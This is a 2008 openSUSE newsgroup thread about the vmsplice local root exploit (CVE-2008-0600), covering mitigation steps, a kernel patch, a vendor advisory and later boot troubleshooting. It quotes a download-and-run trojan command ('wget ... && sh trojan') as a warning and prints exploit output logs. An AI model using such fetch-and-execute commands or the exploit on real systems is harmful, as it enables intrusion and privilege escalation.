houghi wrote:
> http://disruptive.org.uk/2008/02/10/...t_exploit.html
> http://it.slashdot.org/article.pl?sid=08/02/10/2011257
> http://www.milw0rm.com/exploits/5092
> http://bugs.debian.org/cgi-bin/bugre...?bug=464953#14
>
> 1) See that gcc is installed
> 2) Download
> http://www.ping.uio.no/~mortehu/disa...-exploitable.c
> 3) run `gcc disable-vmsplice-if-exploitable.c -o disable--exploitable`
> 4) run `./disable-exploitable`
>
> Do this on ALL your machines.
>
> This is realy serious, as it means that ANY local user can otherwise
> become root. This means that the following could be extremely dangerous:
> `wget houghi.org/trojan && sh trojan`, because that could now run a code
> as root and do whatever.
>
> houghi

Holy crap! This is the kind of thing I didn't expect to be possible.
I'm running a 100+ users system here, and no one of them can be trusted
(students); any tips on how to check if someone actually did it? Didn't
find anything through the usual means (/var/lob and shell history).

Nikos Chantziaras wrote:
> houghi wrote:
>> http://disruptive.org.uk/2008/02/10/...t_exploit.html
>> http://it.slashdot.org/article.pl?sid=08/02/10/2011257
>> http://www.milw0rm.com/exploits/5092
>> http://bugs.debian.org/cgi-bin/bugre...?bug=464953#14
>>
>> 1) See that gcc is installed
>> 2) Download
>> http://www.ping.uio.no/~mortehu/disa...-exploitable.c
>> 3) run `gcc disable-vmsplice-if-exploitable.c -o disable--exploitable`
>> 4) run `./disable-exploitable`
>>
>> Do this on ALL your machines.
>>
>> This is realy serious, as it means that ANY local user can otherwise
>> become root. This means that the following could be extremely dangerous:
>> `wget houghi.org/trojan && sh trojan`, because that could now run a code
>> as root and do whatever.
>>
>> houghi
>
> Holy crap! This is the kind of thing I didn't expect to be possible.
> I'm running a 100+ users system here, and no one of them can be trusted
> (students); any tips on how to check if someone actually did it? Didn't
> find anything through the usual means (/var/lob and shell history).

I just tested. The exploit doesn't work on the Fedora 8 stock kernel.
Phew. However, it does on the openSUSE 10.3 system ;P

houghi wrote:
> http://disruptive.org.uk/2008/02/10/...t_exploit.html
> http://it.slashdot.org/article.pl?sid=08/02/10/2011257
> http://www.milw0rm.com/exploits/5092
> http://bugs.debian.org/cgi-bin/bugre...?bug=464953#14

OK, so those of you running on custom kernels, a temporary patch has
appeared upstream that fixes the exploit without disabling vmsplice
(some applications won't run without it).

http://git.kernel.org/?p=linux/kerne...bfb804f49cbc44

Instructions:

Open /usr/src/linux/fs/splice.c in a text editor. Go to line 1182. It
should read:

if (unlikely(!base))

If it's not in line 1182, simply do a search for that line; it only
appears one on the whole file.

*REPLACE* that line with:

if (!access_ok(VERIFY_READ, base, len))

Save, rebuild the kernel and reboot as usual:

cd /usr/src/linux
sudo make cloneconfig
sudo make
sudo make modules_install
sudo make install
sudo /sbin/reboot

(If you get a compilation error related to "squashfs", disable the
squashfs filesystem in the kernel.)

I've tested it and can confirm that this indeed fixes the exploit:

-----------------------------------
Linux vmsplice Local Root Exploit
By qaaz
-----------------------------------
[+] mmap: 0x100000000000 .. 0x100000001000
[+] page: 0x100000000000
[+] page: 0x100000000038
[+] mmap: 0x4000 .. 0x5000
[+] page: 0x4000
[+] page: 0x4038
[+] mmap: 0x1000 .. 0x2000
[+] page: 0x1000
[+] mmap: 0x2b0468a7c000 .. 0x2b0468aae000
[-] vmsplice: Bad address

On Mon, 11 Feb 2008, houghi wrote:-

>http://disruptive.org.uk/2008/02/10/...t_exploit.html
>http://it.slashdot.org/article.pl?sid=08/02/10/2011257
>http://www.milw0rm.com/exploits/5092
>http://bugs.debian.org/cgi-bin/bugre...?bug=464953#14
>
>1) See that gcc is installed
>2) Download
>http://www.ping.uio.no/~mortehu/disa...-exploitable.c
>3) run `gcc disable-vmsplice-if-exploitable.c -o disable--exploitable`
>4) run `./disable-exploitable`
>
>Do this on ALL your machines.

From reading the Debian link, this only affect kernels 2.6.17-2.6.24.1
which translates to openSUSE 10.2, openSUSE 10.3, and also openSUSE 11.0
alpha 2. SUSE 10.1 has kernel 2.6.16.54, which appears to be unaffected
by this exploit. Running the compiled code results in the response:

davjam@playing:/usr/src/packages/SOURCES> ./disable-vmsplice-if-exploitable
-----------------------------------
Linux vmsplice Local Root Exploit
By qaaz
-----------------------------------
[+] mmap: 0x0 .. 0x1000
[+] page: 0x0
[+] page: 0x38
[+] mmap: 0x4000 .. 0x5000
[+] page: 0x4000
[+] page: 0x4038
[-] mmap: Invalid argument

and it terminating.

>This is realy serious, as it means that ANY local user can otherwise
>become root. This means that the following could be extremely dangerous:
>`wget houghi.org/trojan && sh trojan`, because that could now run a code
>as root and do whatever.

As for the disable-vmsplice-if-exploitable.c, while it appears to work
on both my 10.3 32 and 64 bit systems, and fails as expected on 10.1, it
fails to compile on my 10.2 64bit system so I can't test it there.
Luckily, that 10.2 system isn't net-facing, the only user is myself, and
I don't need a root exploit as I know the root password. Doesn't mean I
won't be applying the kernel patch that's bound to come out within the
next few days.

Okay, I couldn't compile it on the 10.2 system so I compiled the source
on 10.3 as an un-optimized static ELF binary[0], ran it on 10.2 and
that's fixed the exploit.


[0] for the curious:

gcc -O0 --static -o disable-vmsplice-if-exploitable disable-vmsplice-if-exploitable.c

Regards,
David Bolt

--
www.davjam.org/lifetype/ www.distributed.net: OGR@100Mnodes, RC5-72@15Mkeys
SUSE 10.1 32bit | openSUSE 10.2 32bit | openSUSE 10.3 32bit | openSUSE 11.0a1
SUSE 10.1 64bit | openSUSE 10.2 64bit | openSUSE 10.3 64bit
RISC OS 3.6 | TOS 4.02 | openSUSE 10.3 PPC |RISC OS 3.11

houghi wrote:


From the openSUSE security-announce mailinglist:

Hi folks,

As you are undoubtly aware a new local root exploit has been
discovered on the weekend and reported to a wide audience.

The CVE identifier is CVE-2008-0600.

The problem affects only kernels 2.6.17 and newer, so it affects
only following of our products:
- openSUSE 10.2 (2.6.18.x kernel)
- openSUSE 10.3 (2.6.22.x kernel)


This problem does NOT affect all others products:
- SUSE Linux 10.1 (2.6.16.x kernel)
- SUSE Linux Enterprise 10 (2.6.16.x kernel)
- SUSE Linux Enterprise Server 9 (2.6.5 kernel)
- Novell Linux Desktop 9 (2.6.5 kernel)
- SUSE Linux Enterprise Server 8 (2.4.21 kernel)



Updates are in preparation for openSUSE 10.2 and 10.3 and will hopefully
be released tomorrow (Tuesday) morning german time.


Test kernel updates are available in our Online Update Betatest
Repositories:
- openSUSE 10.3: http://download.opensuse.org/update/10.3-test/
kernel version-release of fixed kernel: 2.6.22.17-0.1

- openSUSE 10.2: ftp://ftp.suse.com/pub/suse/update/10.2-test/
kernel version-release of fixed kernel: 2.6.18.8-0.9

Please note that these update channels contain "beta" quality updates,
so are not recommended for production use systems. Only use the kernel.

Ciao, Marcus


So best do an update tomorrow.

houghi
--
The blue light suddenly flashed on my horrified face. What a disaster!
Oh, the humanity! I never thought it would happen to me. How terrifying
it is to see for yourself "*The Blue Screen of Death*".

houghi wrote:

-----------------------------------------------snip-----------------------------------
>
> So best do an update tomorrow.
>
> houghi

And in the mean time let's hope they've all applied the patch you mentioned
previously....

Thanks for the heads up.

Applied and waiting.

houghi wrote:

> 3) run `gcc disable-vmsplice-if-exploitable.c -o disable--exploitable`
^^ two hyphens
> 4) run `./disable-exploitable`
^ one hyphen

It should be '-o disable--exploitable`' and './disable--exploitable'
or '-o disable-exploitable`' and './disable-exploitable' right?

Could you be a bit specific about what your workaround does, (I'm not much
into kernel hacking)?

TIA

--
Cheerz Lars

Lars Behrens wrote:
>
>
> houghi wrote:
>
>> 3) run `gcc disable-vmsplice-if-exploitable.c -o disable--exploitable`
> ^^ two hyphens
>> 4) run `./disable-exploitable`
> ^ one hyphen
>
> It should be '-o disable--exploitable`' and './disable--exploitable'
> or '-o disable-exploitable`' and './disable-exploitable' right?

Yes, sorry.

> Could you be a bit specific about what your workaround does, (I'm not much
> into kernel hacking)?

It is not my hack. It is a copy and paste hack from somebody else.
Basicaly what it does is NOT change the kernel in any way. It just makes
it impossible to run the exploit.

However when you reboot, the machine is vulrnable again. So you need to
run it again at bootup (automagicaly) or patch your system. I myself am
waiting for the patch to come out, as I am the sole user on my system.

houghi
--
You tried, and you failed, so the lesson is, never try. - Homer J. Simpson.

houghi wrote:

The updates are available:
Fixed packages have been released for openSUSE 10.2 and 10.3.

For SUSE Linux Enterprise Realtime 10 packages are being prepared
currently.


houghi
--
You tried, and you failed, so the lesson is, never try. - Homer J. Simpson.

houghi wrote:
> houghi wrote:
>
> The updates are available:

Well, I did the updates and now my machine is offline. Well, those are
the dangers of doing a reboot via ssh, I supose. :-D

Yesterday it worked, but today it doesn't.

Oh well. At least I can say 'I told me so!'.

Luckily I am a member of the redundency department of redundency and
thus have access to different shell accounts (now even as root) on
different machines (perhaps now even yours and you'll never know)

--
houghi http://www.houghi.org

> The businessworld is like prison and M$ made everybody their bitch.

On Tue, 12 Feb 2008, houghi wrote:-

>houghi wrote:
>> houghi wrote:
>>
>> The updates are available:
>
>Well, I did the updates and now my machine is offline. Well, those are
>the dangers of doing a reboot via ssh, I supose. :-D

That would be a big "oops" :-)

And you didn't prepare for such an eventuality by having an old kernel
version as a backup, with grub configured to use it as a fallback just
in case the system fails to boot with your new kernel?

>Yesterday it worked, but today it doesn't.

The direction of the wind has changed, and you forgot to sacrifice a
couple of kittens/chickens/goats* before trying again.

>Oh well. At least I can say 'I told me so!'.

I'm sure there'll be others that will join in saying that to you as
well.

>Luckily I am a member of the redundency department of redundency and
>thus have access to different shell accounts (now even as root) on
>different machines (perhaps now even yours and you'll never know)

:-)


* delete as applicable

Regards,
David Bolt

--
www.davjam.org/lifetype/ www.distributed.net: OGR@100Mnodes, RC5-72@15Mkeys
SUSE 10.1 32bit | openSUSE 10.2 32bit | openSUSE 10.3 32bit | openSUSE 11.0a1
SUSE 10.1 64bit | openSUSE 10.2 64bit | openSUSE 10.3 64bit
RISC OS 3.6 | TOS 4.02 | openSUSE 10.3 PPC |RISC OS 3.11

On 2008-02-12, houghi wrote:
> houghi wrote:
>> houghi wrote:
>>
>> The updates are available:
>
> Well, I did the updates and now my machine is offline. Well, those are
> the dangers of doing a reboot via ssh, I supose. :-D

I wonder what caused that, I had no probs here.
Let us know when you find that out.
>
> Yesterday it worked, but today it doesn't.
>
> Oh well. At least I can say 'I told me so!'.
>
> Luckily I am a member of the redundency department of redundency and
> thus have access to different shell accounts (now even as root) on
> different machines (perhaps now even yours and you'll never know)
>

Vahis
Remodeling my site to train new things:
http://waxborg.servepics.com
--
"The only thing more expensive than training is the lack of it"
Henry Ford

David Bolt wrote:
>>Well, I did the updates and now my machine is offline. Well, those are
>>the dangers of doing a reboot via ssh, I supose. :-D
>
> That would be a big "oops" :-)

Yeah and when I came home, it was still frozen in boot mode. Hard reboot
and all is well.

> The direction of the wind has changed, and you forgot to sacrifice a
>
> * delete as applicable

OK, for a minute I thought that * was a random letter, like people who
say f*ck instead of ****. And I thought it was the letter E.

houghi
--
You tried, and you failed, so the lesson is, never try. - Homer J. Simpson.

Vahis wrote:
>
>
> On 2008-02-12, houghi wrote:
>> houghi wrote:
>>> houghi wrote:
>>>
>>> The updates are available:
>>
>> Well, I did the updates and now my machine is offline. Well, those are
>> the dangers of doing a reboot via ssh, I supose. :-D
>
> I wonder what caused that, I had no probs here.
> Let us know when you find that out.

No idea. Nothing in the logfiles. The last in the logs was this:
Feb 12 15:40:35 penne kernel: Kernel logging (proc) stopped.
Feb 12 15:40:35 penne kernel: Kernel log daemon terminating.
Feb 12 15:40:35 penne syslog-ng[2347]: syslog-ng version 1.6.12 going
down

After that nothing. When I came back, it was frozen in the GUI where it
says ESC for blabla. Not able to do anything, so I did a hard reboot and
that worked fine.

houghi
--
You tried, and you failed, so the lesson is, never try. - Homer J. Simpson.

houghi wrote:
>
>
> houghi wrote:
>
> The updates are available:
> Fixed packages have been released for openSUSE 10.2 and 10.3.
>
> For SUSE Linux Enterprise Realtime 10 packages are being prepared
> currently.

And this happen when I try it now:
houghi@penne : ./local-root
-----------------------------------
Linux vmsplice Local Root Exploit
By qaaz
-----------------------------------
[+] mmap: 0x0 .. 0x1000
[+] page: 0x0
[+] page: 0x20
[+] mmap: 0x4000 .. 0x5000
[+] page: 0x4000
[+] page: 0x4020
[+] mmap: 0x1000 .. 0x2000
[+] page: 0x1000
[+] mmap: 0xb7da8000 .. 0xb7dda000
[-] vmsplice: Bad address
houghi@penne :



houghi
--
You tried, and you failed, so the lesson is, never try. - Homer J. Simpson.

On 2008-02-12, houghi wrote:
> Vahis wrote:
>>
>>
>> On 2008-02-12, houghi wrote:
>>> houghi wrote:
>>>> houghi wrote:
>>>>
>>>> The updates are available:
>>>
>>> Well, I did the updates and now my machine is offline. Well, those are
>>> the dangers of doing a reboot via ssh, I supose. :-D
>>
>> I wonder what caused that, I had no probs here.
>> Let us know when you find that out.
>
> No idea. Nothing in the logfiles. The last in the logs was this:
> Feb 12 15:40:35 penne kernel: Kernel logging (proc) stopped.
> Feb 12 15:40:35 penne kernel: Kernel log daemon terminating.
> Feb 12 15:40:35 penne syslog-ng[2347]: syslog-ng version 1.6.12 going
> down
>
> After that nothing. When I came back, it was frozen in the GUI where it
> says ESC for blabla. Not able to do anything, so I did a hard reboot and
> that worked fine.

OK. Since we don't know let's put the blame on GUI.
I don't have a GUI on the one that I command over ssh


Vahis
Remodeling my site to train new things:
http://waxborg.servepics.com
--
"The only thing more expensive than training is the lack of it"
Henry Ford

On Tue, 12 Feb 2008, houghi wrote:-

>No idea. Nothing in the logfiles. The last in the logs was this:
>Feb 12 15:40:35 penne kernel: Kernel logging (proc) stopped.
>Feb 12 15:40:35 penne kernel: Kernel log daemon terminating.
>Feb 12 15:40:35 penne syslog-ng[2347]: syslog-ng version 1.6.12 going
>down
>
>After that nothing. When I came back, it was frozen in the GUI where it
>says ESC for blabla.

Changing the "splash=silent" to "splash=native" cures that. It's one of
the things I always do when setting up my systems. However, there is a
bug that's been open for a long while now where passing a
"splash=native" boot option when starting the installation system, it
adds it to the kernel options, but changes any "splash=" to
"splash=silent" and than adds another one just to make sure :|

I'm not entirely sure, and I'm going to pay particular attention when
performing this next update, to see if it does the same change when
updating the kernel as well.

> Not able to do anything, so I did a hard reboot and
>that worked fine.

Probably something caused by a module going missing due to the upgrade.


Regards,
David Bolt

--
www.davjam.org/lifetype/ www.distributed.net: OGR@100Mnodes, RC5-72@15Mkeys
SUSE 10.1 32bit | openSUSE 10.2 32bit | openSUSE 10.3 32bit | openSUSE 11.0a1
SUSE 10.1 64bit | openSUSE 10.2 64bit | openSUSE 10.3 64bit
RISC OS 3.6 | TOS 4.02 | openSUSE 10.3 PPC |RISC OS 3.11

David Bolt wrote:
> On Tue, 12 Feb 2008, houghi wrote:-
>
>>No idea. Nothing in the logfiles. The last in the logs was this:
>>Feb 12 15:40:35 penne kernel: Kernel logging (proc) stopped.
>>Feb 12 15:40:35 penne kernel: Kernel log daemon terminating.
>>Feb 12 15:40:35 penne syslog-ng[2347]: syslog-ng version 1.6.12 going
>>down
>>
>>After that nothing. When I came back, it was frozen in the GUI where it
>>says ESC for blabla.
>
> Changing the "splash=silent" to "splash=native" cures that.

I doubt that the fact that it showed the GUI instead of the CLI does
have anything to do with the fact that it stopped.

> It's one of
> the things I always do when setting up my systems. However, there is a
> bug that's been open for a long while now where passing a
> "splash=native" boot option when starting the installation system, it
> adds it to the kernel options, but changes any "splash=" to
> "splash=silent" and than adds another one just to make sure :|

I used to change that as well, but I reboot so seldom that I don't
bother anymore and just type ESC if I want to. It might have shown what
was the last that had happend.

> I'm not entirely sure, and I'm going to pay particular attention when
> performing this next update, to see if it does the same change when
> updating the kernel as well.
>
>> Not able to do anything, so I did a hard reboot and
>>that worked fine.
>
> Probably something caused by a module going missing due to the upgrade.

My guess is HD problems. If it were a module, it would have happend
again the second time.

houghi
--
You tried, and you failed, so the lesson is, never try. - Homer J. Simpson.

On Tue, 12 Feb 2008, houghi wrote:-

>David Bolt wrote:

>> Changing the "splash=silent" to "splash=native" cures that.
>
>I doubt that the fact that it showed the GUI instead of the CLI does
>have anything to do with the fact that it stopped.

It probably won't have anything to do with where it stops. However,
having "splash=native" as a kernel option lets you see the boot up and
shutdown process, and this would have allowed you to see where it had
frozen. That sort of thing helps with diagnostics, and possibly bug
reporting.

>> Probably something caused by a module going missing due to the upgrade.
>
>My guess is HD problems.

Are you actually having some? Tried badblocks with a non-destructive
write test? What does smart say about the drives condition?

>If it were a module, it would have happend
>again the second time.

Not necessarily. If it was a module that went missing due to the kernel
upgrade, the second time would refer to the new kernel module.


Regards,
David Bolt

--
www.davjam.org/lifetype/ www.distributed.net: OGR@100Mnodes, RC5-72@15Mkeys
SUSE 10.1 32bit | openSUSE 10.2 32bit | openSUSE 10.3 32bit | openSUSE 11.0a1
SUSE 10.1 64bit | openSUSE 10.2 64bit | openSUSE 10.3 64bit
RISC OS 3.6 | TOS 4.02 | openSUSE 10.3 PPC |RISC OS 3.11